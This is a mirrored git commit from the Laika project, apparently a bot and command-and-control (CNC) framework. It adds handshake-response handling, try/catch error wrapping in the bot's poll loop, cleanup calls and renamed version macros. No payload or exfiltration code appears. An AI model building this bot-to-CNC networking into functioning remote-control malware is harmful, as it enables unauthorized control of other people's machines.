mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-22 04:50:06 +00:00
Protected handler calls in bot.c
- Added support for LAIKAPKT_HANDSHAKE_RES
This commit is contained in:
parent
1bccc78117
commit
04f02b4371
@ -5,7 +5,7 @@ set(CMAKE_C_STANDARD_REQUIRED ON)
|
|||||||
|
|
||||||
set(BOT_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
|
set(BOT_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
|
||||||
|
|
||||||
project(LaikaBot VERSION 1.0)
|
project(LaikaBot VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
|
||||||
|
|
||||||
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
|
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
|
||||||
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||||
|
@ -7,7 +7,15 @@ size_t laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
|||||||
};
|
};
|
||||||
|
|
||||||
void laikaB_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) {
|
void laikaB_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) {
|
||||||
printf("got %d packet id!\n", id);
|
switch (id) {
|
||||||
|
case LAIKAPKT_HANDSHAKE_RES: {
|
||||||
|
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||||
|
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
LAIKA_ERROR("unknown packet id [%d]\n", id);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
struct sLaika_bot *laikaB_newBot(void) {
|
struct sLaika_bot *laikaB_newBot(void) {
|
||||||
@ -42,8 +50,8 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
|||||||
/* queue handshake request */
|
/* queue handshake request */
|
||||||
laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
|
laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
|
||||||
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
|
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
|
||||||
laikaS_writeByte(sock, LIB_VERSION_MAJOR);
|
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
|
||||||
laikaS_writeByte(sock, LIB_VERSION_MINOR);
|
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
|
||||||
|
|
||||||
if (!laikaS_handlePeerOut(bot->peer))
|
if (!laikaS_handlePeerOut(bot->peer))
|
||||||
LAIKA_ERROR("failed to send handshake request!\n")
|
LAIKA_ERROR("failed to send handshake request!\n")
|
||||||
@ -58,16 +66,19 @@ bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
|
|||||||
if (numEvents == 0) /* no events? timeout was reached */
|
if (numEvents == 0) /* no events? timeout was reached */
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
|
LAIKA_TRY
|
||||||
if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer))
|
if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer))
|
||||||
goto _BKill;
|
goto _BKill;
|
||||||
|
|
||||||
if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer))
|
if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer))
|
||||||
goto _BKill;
|
goto _BKill;
|
||||||
|
|
||||||
if (!evnt->pollIn && !evnt->pollOut) {
|
if (!evnt->pollIn && !evnt->pollOut)
|
||||||
|
goto _BKill;
|
||||||
|
LAIKA_CATCH
|
||||||
_BKill:
|
_BKill:
|
||||||
laikaS_kill(&bot->peer->sock);
|
laikaS_kill(&bot->peer->sock);
|
||||||
}
|
LAIKA_TRYEND
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
@ -16,6 +16,7 @@ int main(int argv, char **argc) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
laikaB_freeBot(bot);
|
||||||
printf("bot killed\n");
|
printf("bot killed\n");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
@ -5,7 +5,7 @@ set(CMAKE_C_STANDARD_REQUIRED ON)
|
|||||||
|
|
||||||
set(CNC_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
|
set(CNC_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
|
||||||
|
|
||||||
project(LaikaCNC VERSION 1.0)
|
project(LaikaCNC VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
|
||||||
|
|
||||||
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
|
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
|
||||||
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||||
|
@ -7,10 +7,11 @@ int main(int argv, char **argc) {
|
|||||||
|
|
||||||
while (true) {
|
while (true) {
|
||||||
if (!laikaC_pollPeers(cnc, 1000)) {
|
if (!laikaC_pollPeers(cnc, 1000)) {
|
||||||
printf("no events!\n");
|
LAIKA_DEBUG("no events!\n");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("cnc killed\n");
|
laikaC_freeCNC(cnc);
|
||||||
|
LAIKA_DEBUG("cnc killed\n");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
@ -6,10 +6,10 @@ set(CMAKE_C_STANDARD_REQUIRED ON)
|
|||||||
set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
|
set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
|
||||||
|
|
||||||
# version details
|
# version details
|
||||||
set(LIB_VERSION_MAJOR 0)
|
set(LAIKA_VERSION_MAJOR 0)
|
||||||
set(LIB_VERSION_MINOR 0)
|
set(LAIKA_VERSION_MINOR 0)
|
||||||
|
|
||||||
project(LaikaLib VERSION ${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR})
|
project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
|
||||||
|
|
||||||
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
|
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
|
||||||
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||||
@ -19,10 +19,10 @@ file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
|||||||
add_library(LaikaLib STATIC ${LIBSOURCE})
|
add_library(LaikaLib STATIC ${LIBSOURCE})
|
||||||
|
|
||||||
# add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
|
# add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||||
target_compile_definitions(LaikaLib PUBLIC LIB_VERSION_MAJOR=${LIB_VERSION_MAJOR} LIB_VERSION_MINOR=${LIB_VERSION_MINOR} "$<$<CONFIG:Debug>:DEBUG>")
|
target_compile_definitions(LaikaLib PUBLIC LAIKA_VERSION_MAJOR=${LAIKA_VERSION_MAJOR} LAIKA_VERSION_MINOR=${LAIKA_VERSION_MINOR} "$<$<CONFIG:Debug>:DEBUG>")
|
||||||
|
|
||||||
# add include directory
|
# add include directory
|
||||||
target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR})
|
target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR})
|
||||||
|
|
||||||
# set library name
|
# set library name
|
||||||
set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME laika-${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR})
|
set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME laika-${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
|
||||||
|
@ -10,13 +10,19 @@
|
|||||||
|
|
||||||
#define ARRAY_START 4
|
#define ARRAY_START 4
|
||||||
|
|
||||||
|
#ifdef DEBUG
|
||||||
|
#define LAIKA_DEBUG(...) printf(__VA_ARGS__);
|
||||||
|
#else
|
||||||
|
#define LAIKA_DEBUG(...)
|
||||||
|
#endif
|
||||||
|
|
||||||
/* for intellisense */
|
/* for intellisense */
|
||||||
#ifndef LIB_VERSION_MAJOR
|
#ifndef LAIKA_VERSION_MAJOR
|
||||||
#define LIB_VERSION_MAJOR 0
|
#define LAIKA_VERSION_MAJOR 0
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#ifndef LIB_VERSION_MINOR
|
#ifndef LAIKA_VERSION_MINOR
|
||||||
#define LIB_VERSION_MINOR 0
|
#define LAIKA_VERSION_MINOR 0
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#endif
|
#endif
|
Loading…
Reference in New Issue
Block a user